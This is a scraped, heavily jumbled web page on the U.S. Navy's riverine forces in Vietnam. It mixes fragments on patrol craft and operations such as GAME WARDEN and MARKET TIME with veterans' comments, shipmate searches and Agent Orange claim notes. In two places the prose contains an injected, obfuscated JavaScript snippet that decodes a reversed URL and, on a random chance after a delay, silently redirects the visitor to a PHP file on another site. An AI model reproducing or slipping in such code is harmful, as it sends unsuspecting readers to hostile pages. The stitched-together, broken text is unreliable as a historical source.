2 we will look at Operation GAME WARDEN.� There are many groups that should be included and recognized for their contributions in Nam. We went from NHA Be to MY THO and Ended my Tour in Sa Dec closer and closer to Cambodia. Terry and our radioman went to radio school together. Old, slow converted Lcm 6 & LCVP’s. Based on the "Brown-water" Navy's early success, a commitment was made to continue river operations on a full-scale basis in the Mekong Delta. mats to create a work and servicing area. and went up the coast to “catch” my boat in Cua Viet. deltas, smaller waterways and canals of the country.� To combat North Vietnamese infiltration of Thank you Richard, His wife says he was called “Benny” Please email any info to me direct at — suwanneetrader@hotmail.com, Larry, I’m sorry but the Va is doing a good job with the determination of illnesses as a result of exposure to agent orange. slightly different.� This LCPL has a during her Vietnam the name Operation GAME WARDEN.� During used by the VNN.� [Photo: US Navy], Above: A nest Mk 4 (steel hull) LCPLs tied-up along USS AGM-12 �Bullpup� air-to-surface I think another reason too is, we all weren’t together for that long of a period of time. of precedence (top to bottom, left to right): Combat Action Ribbon, So, I started the engines and started pumping bilges! and PTF 9 though PTF 16 purchased from the Norwegian builders.� These boats were delivered from 1962 through Division 107, TF-116 (May 1966 to January 1967).� Returned to Bell Any input would be helpful. My wife’s brother [VN Navy officer] was mortally wounded in an attack on his boat south of Saigon late Nov or very early Dec 1969, and died a couple of weeks later in hospital at Can Tho.. An American Navy officer was fatally wounded in the same attack. ��� �� USS JENNINGS COUNTY (LST-846) was one of two DER�s transferred The Naval Historical Foundation is dedicating this "Second Saturday" to the heroic actions of American Sailors who fought a rather unconventional naval war on the rivers and canals of the Mekong Delta during our involvement in the Vietnam War. workhorse for SEAL/UDT boat support units until November 1971 when all NSWG these craft were transported to Da Army]. done by SEAL Team ONE and Boat He later got his Bronze Star (without a V) for sailing a desk in Washington D.C.. My problems occurred afterwards as a civilian. 4 specially modified Landing from USS TORTUGA (LSD-26) during their first deployment to Vietnam.� [Photo: US Naval Historical Center], Below: PACV No. ���� �� River Division 53 My Tho boats that could be divided into four general groups: (1) the Legacy Group � The naval vessels operating on them are referred to as the Brown Water Navy and/or Mobile Riverine Force. These are the stories and pictures of one sailor's experiences in that war. We had no on board propulsion system and were unable to maneuver. ships earn and wear awards and decorations.� I served in 1/70 to 1/71 riversection 541 in the Mekong Delta,looking for shipmate, who served that time. We were hit on The Bausic River. The SeaBees were just finished with the corpsman’s hooch. I’ve been writing down notes, web findings etc for the past 40 years and recently posted some photos on Flickr regarding my experiences in “Cua Viet on March 11th, 1968. The VA maintains a list of U.S. Navy and Coast Guard ships associated with military service in Vietnam and possible exposure to Agent Orange based on military records. If you have already submitted a claim for disability due to the exposure while serving on board any of these ships, then the date of any approved disability will be retroactive to the date of that claim. The clarity in your publish is just great and that i can suppose you are an expert on this subject. We were sent to Song Ong Doc in September 1969. July 1969.� When the 1st and 2nd Below: USS TUCUMCARI shown with crew at battle I reside in North Carolina. At Ship Tank (LST) They needed a small, light boat with high speed, 901 in the salvage yard at Dong Tam.� It was with the 403rd trans.. our platoon did alot of the beach clearance at the ramp 1968-1969, I agree – it’s offensive that there’s little or no reporting of the cargo haulers, I was on YFU-77 (Army) – 70-71 – 329th Heavy Boat, Danang, and we moved many thousands of tons of cargo – notably arty shells and black powder and food from Danang to Tan My, Chu Lai, Hue and Quang Tri. Support Team TWO that had its headquarters at Binh Thuy.� Binh Thuy was on the Bassac He was from NJ. [Photo: Tom Hawkins], Above: A new LSSC drops off its SEAL squad during training Also a life member of Gamewardens, Pacific Northwest Chapter. i was a boat captain in t-132-4. Chief of Naval Operations, the Navy announced that it would recon-stitute a U.S. Navy riverine capabili ty and be ready to support riverine operations in Iraq in March 2007. the bow, there�s some kind of communications glitch.� Note that the SEALs are wearing Levi�s.� The reason was the new camouflage pattern pressure, contained by the side skirts, to lift the ACV outboard engines.� The Kenner had a pedestal mount for an M60 I was there from April 68 until July 68. stations.� The vessel had a speed of 45 I called that copter in, they all died. 902 on alert status at Dong Tam.� It was I WOULD LOVE TO SHARE THESE PICTURES WITH ANYONE INTERESTED. Were you around for the Mini-Tet in May of 68? hull join.� Left, a Mk II plows at low What gets me is the hard time we as veterans are receiving in applying for agent orange disabilities, I have been told the ship I was on qualified but they cant prove I was on the ship? Hey Bill, I was on Zippo 4 and Tango 48 in 69 thru 70. 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I liked the collection of information for Brownwater Navy but was disappointed in the coverage of LCU, YFU operations in I corp. He passed away in May of 2004. [Photo: Don Basallion], R2���������������������������������������������������������������������������Back There were a total of 26 PTF 22; and the Osprey Group � U.S. built boats PTF 23 through PTF 24.�. the worn-out STABs and Boston Whalers (and Kenner Ski Barges) for in a gun tub on the bow, a single .50 machine gun was aft, two M60 7.62 NATO on-going Operations were SEA DRAGON, SEALORDS [Southeast Asia Land, Note the heavy armament used on the STABs � M60 machine guns and 40mm The Would also like name of civilian contracting group. Casco-class USCG high endurance cutter YAKUTAT (WHEC-380) was a 311-footer that 903.� [Photo: US Army]. Above: PTF 21 is seen at top speed off Hawaii about 1972.� One of six Trumpy-class boats, she differed II was a redesign of the Mk I to incorporate lessons learned in Vietnam.� The Mk II introduced a redesigned forward The more weight we carried the slower we sailed. I know he served somewhere between 67 and 69 and was on the USS Nuces and was a radioman according to his DD214. As the key to understanding the emergence, development, and later adoption of this particular military strategy, he examines the conflicts in which riverine tactics figured prominently: the American Revolution, the War of 1812, the Second ... outboard of the LCPL.� [Photo: Rick The BM-2 yelled at me-No F-ing way you’re talking me in that Canal. Trumpy boats.� As can be seen from the Combating these arms smuggling trawlers was a very laborious while i understand the glamour of other units and boats , the tangos were very important to the delta front . I was there the night they brought in the five burned babies. The U.S. Army Center of Military History is pleased to present a new pamphlet in its U.S. Army Campaigns of the Vietnam War series. Not sure if its the same person or not but the gentleman that was aboard USS BENNINGTON CVS-20 was named Les Simons. Every one got they’re turn on different boats. He finally did two years ago. I have heard the stories many times – don’t remember all of them – but he loved his River Division 592. Ralf (Doug, Porky) Robinson of ATSB Song Ong Doc, ATSB Ca Mau, or anyone else who knew me in Nam, Please contact me. 40mm Bofors gun and replace it with the Navy Mk 2 Mod 0 81mm mortar.� The mortar was used for indirect fire and for BELLE GROVE (LSD-2) prior to transfer to the VNN in 1966.� The yellow square and red �X� is an airborne the Navy Seawolf UH-1B gunships of Light Helicopter Attack Squadron 3 (HAL-3).� Two fought at first, off the coastal waters of South Vietnam, and then in the river Naval Historical Foundation 1306 Dahlgren Avenue, SE Washington Navy Yard, DC 20374 1-202-678-4333 info@navyhistory.org, ) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and PBR (River Patrol Boat) (Sketch by John Charles Roach, NHHC L-File)”]. David Wright, served in the Mekong Delta during 1966 and 1967. Little Creek, VA.� Two of these boats Not very handy with the computer but would love to hear from you. was not fast enough to run from a fight and had neither the armament nor armor Don’t know if this was a VN Navy boat or US. boat became PTF 2 in 1962 and was one of the first four craft sent to MST-1 at Da Nang, RVN in early ��� �� USS HUNTERDON COUNTY (LST-821) I think he came from Cherryville. Would appreciate any you could share! and ammunition on 16 February 1965.� Originally If you or anyone that reads this have any information regarding his son or family please contact me I have pictures. Looking for information on Thomas Collins BM1 boat captain division ninety two river assault aspb 92 -2 and control boat 92-1Vietnam Feb 68-69 came under attack Jan 69 chogao canel of gong province with nineteen other assualt graft River squadron nine support operations river 2nd brigade ninth infantry division looking for his daughters who were real young when he passed away I served with mcb1 Seabees Red Beach Danang 66-67 mcb1reunion@verizon.net, John Cogan, like you I don’t remember a lot of names, but I do remember the night when Tinkos LCM6 was zapped. compliment of PBRs was increased to 250.�� The Vietnam Unit Memorial Monument is a large, flag adorned memorial wall and three "brown water" Navy boats that honor the Navy and Coast Guard personnel who died while supporting Naval operations during the Vietnam war. The United States Navys fight for control of the waters of Southeast Asia. The Mk I PBR had a 31-foot long fiberglass hull.� It could do 28 knots and was powered by two OK, they�d be released.� If not, they�d Was a radioman on lsd31 in 71and spent much time myself and coxwain were sent out many times on an lcvp to take care of marines needs on rivers and beaches. Below: The 95-foot PTF 2 (ex-PT 811), built by John Skip. Areas of operation for the four GAME WARDEN floating bases were the shore.� The LSSC would then move to a photo. For the Americans aiding the South Vietnamese, the effort was several fold: (1) build and equip a capable Vietnamese Navy; (2) teach the I think if you are going to talk about the history of the Brown Water Navy….this piece needs to be mentioned some how. Knew each other very well…very well. Gunfire could erupt from the dense forests along the shore at any time, often from cleverly concealed enemy positions just yards away. recognition sign to prevent friendly fire accidents.� The Mk 4 and Mk 11 (fiberglass hull) LCPLs tactical ops.� One HSSC is lost in a capable of supporting a UH-1 helicopter.� boat, small). LCM Mk 8 was a much longer and heavier craft of post-Korean War design.� The Mk 8 was designed to transport the M48 or We are trying to prove he was on river patrol boat off coast of Vietnam. TIME was a blockade by USN and VNN naval units of the extensive South I hope life has been good to you! Thanks for the video and hope to hear from you again soon. cargo boom to lift PBRs out of the water repairs aboard ship. He was on the river boats 69-70. Transportation Corps ran Army LCMs. I was the rear Gunner of the aft 50 on PBR 737 and the RPG hit the rear 50 of PBR 738 both PBR’s were tied together as the LT. in charge wanted to set parameters on the test fire. Armed with 8-twin tube 5″ spin-stabilized rocket launchers on our foredeck, qne 5″38 cal. I flew the Alaska State flag from the mast of our LCM, under the U. S. A. ensign. during the years 1964 to 1975 was very dynamic.� VNN picket boats Mk V, USN and VNN 36-foot landing craft personnel, large Industries in New Orleans, LA.� With the exception of SEALORDS, these operations are outside this and wounded many of the other MST and SEALs aboard.� The reverse gate cables were severed by the years.� MARKET TIME succeeded in denying speed on patrol.� Right, like other PBRs, A-91-3 was turned over to the South Vietnamese in December of 1969 as part of the Vietmanization Program. Useless Master-at -Arms would stand in the crow line looking to give out haircut chits according to their standards but they spent thousand of dollars decorating the mess hall in a Cowboy Decoration. Skip. Division 107, TF-116 (May 1966 to January 1967). completed, one of the STABs is pulling up to the pier at Nha Be.� The fellow at the far left is a Vietnamese of the ACV is well shown in this ACVs had a modified hull that incorporated a large deck for carrying troops, a Looking for info on his Vietnam service. Below: Three boats of We spoke to him this afternoon on the phone (he is over 400 miles away) as his wife, son and daughter and other family were with him. Whalers are used for non-tactical operations. served as part of Operation MARKET TIME.� of Thailand, January This extension of the presumption is a result of Public Law 116-23, the Blue Water Navy Vietnam Veterans Act of 2019, signed into law on June 25, 2019. Thanks for the Brownwater article and what it was in Vietnam. Hay doc IT’s porky[don’t go by that name now days] Doug Robertson ,glad to see you made it out alive ,hope your doing well. In this photo, a new MSSC is lowered aboard its trailer.� The most vulnerable part of the MSSC is Each ship and barrack barges had a pontoon moored to the ship and at least 20 river boats moored along side of them. There were a total of 26 PTF Special operations craft in Vietnam went The law takes effect January 1 . V picket boat (background, center) and a Mk 11 LCPL (background, right) If you should receive this, please let me know one way or the other. be taken back for more questioning.�� By mid-1968 and just prior to the Tet Offensive, the [Photo: Seawolf.org], Below: USS HARNETT COUNTY (LST-821) shows off her similar LCM conversions used by the Mobile In most cases, repairs were in the At least if you ran into trouble you had speed on your side and Navy Seawolve Hueys on standby for assistance. the Raytheon 1900 radar and its cumbersome radome.� The radar was not very useful on the small COUNTY (LST-846) was typical of those unsung warriors that accomplished great Am I a veteran or Vietnam era veteran,. successful and both hydrofoils were returned to the U.S. in 1970.� FLAGSTAFF remained 1 Agent Orange Exposure Locations Recognized by VA Vietnam & Brown Water Veterans The inland waterways of Vietnam are often referred to as "brown water" because of their muddy color. Light SEAL Support Craft (LSSC) built by Grafton Boatworks, Grafton, IL.� The STAB boat was lengthened from 24 feet to I was aboard the USS FRANK E Evans from March 17 until June 03, 1969 when we were cut in half by the HMAS Melbourne in the South China Sea, Prior to the accident we spent 16 days in the first part of may right off the coast of Vietnam providing support fire for the US Marines. These lightly armored patrol boats  were built for speed, $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and offered little protection to their crews. deltas, smaller waterways and canals of the country. Refueling at sea and vertical replenishment operations were the fastest boat deployed to. Sumner, and Gearing-class destroyers, Above: The 390-foot USS AGERHOLM (DD-826) was a Gearing-class FRAM Mobile Support Team TWO was YN2, My uncle Joseph E. Kuhn BM3 served i the Brown water navy in Vietnam on the following units. (LST-821), USS HUNTERDON COUNTY (LST-838) and USS JENNINGS COUNTY (LST-846).� Specialized LST modifications included: �� A Thanks. After my DEROS I was aboard the USS Hooper out of Long Beach. I stayed with they until September 1969. parts for Numbers 902 and 903. I was part of the crew when the base was towed up river. There be no rescue, we could not run.The only choice would have been to fight until you were killed. :-), BWN->Dong Tam –> Song Ong Doc 70 AO trying to confirm Boots-O-Gound WTF Looking into Payroll “MPC” records possibility BM3 Boats, NavSupAct Saigon Det CatLo Jul 68 – Feb 70 ComNavForV (CCOS) Mar 70 – Dec 70. Examples of such vessels include swift boats, river patrol boats, and LSTs [landing ship, tank]. I was there 69-70. Washtenaw was one of many LST's serving on the muddy brown rivers of Vietnam's Mekong Delta. I am Larry Napier BM3 and was on LCM8-865 the night this happen. He was a Gunner’s Mate if I recall correctly. in 67/68 what part of nam was he in? units were withdrawn from Vietnam.� Here, an MSSC is fitting out at the builder�s I am looking for anyone that knew him during that time and possibly served with him. Above: The gas turbine hydrofoil gunboats USS FLAGSTAFF MARKET TIME operated day and night, fair weather and foul, for eight and a half and I came back up on LCM 8-798. A contract for After the modifications, the in Danang. MSBs (Mine Sweeping Boats) whose job it was to keep the Long Tau shipping them.� [Photo: Gary Hunt], Below: Close-up of the Nam Can LSSC about September Did its part in many ways that will never be told. � World War 2, Korea, and Vietnam.� USS JENNINGS MARKET on the beach after the tide has gone out.� case and link collection bag is directly below the gun.� [Photo: Gary Hunt], Below: A rear port quarter view of the MSSC as it pulls II modernization.� She is shown off Point Most attentions was given to the Delta. As of April, the VA had reexamined about 6,700 of the 16,820 cases Akaka called to the agency's attention, said Tom Pamperin, deputy undersecretary for disability assistance. Under SOG auspices, the �� Army�s three improved SK-5 ACVs operated from its base at Dong Tam on the. You who have served in the Military know what a true hero is and the courage it takes to earn the title. (loaded).� It had two GM 6-71 diesel things.� Like the sailors that man them, VP-26, VP-28, VP-40, VP-42, VP-46, VP-48, VP-49, and VP-50.� Some of these patrol aircraft were armed with I am furiously working to recruit people and funds to maintain a monument that contains the names of nearly 50 of my friends killed in Vietnam. He was assigned to NSA Danang Service Craft Division and spent time in Chu Lai (I have a letter he wrote a family member), serving on LCMs, both the 6 and 8 variant. was in the Whaler.� Here two Nha Be next to USS SAINT PAUL (CA-73) at Subic Bay obscures the recoilless rifle barrel.� Magazine via Jim Gray], Below: Mission machine guns were installed amidships on all boats and a 7.62 NATO Mini-gun prop.� Command junks carried more radios The Wallace I new was a black man and a GM3. He served around that same time and was a First Class in the Navy at the time and also became a Chief while in Nam. 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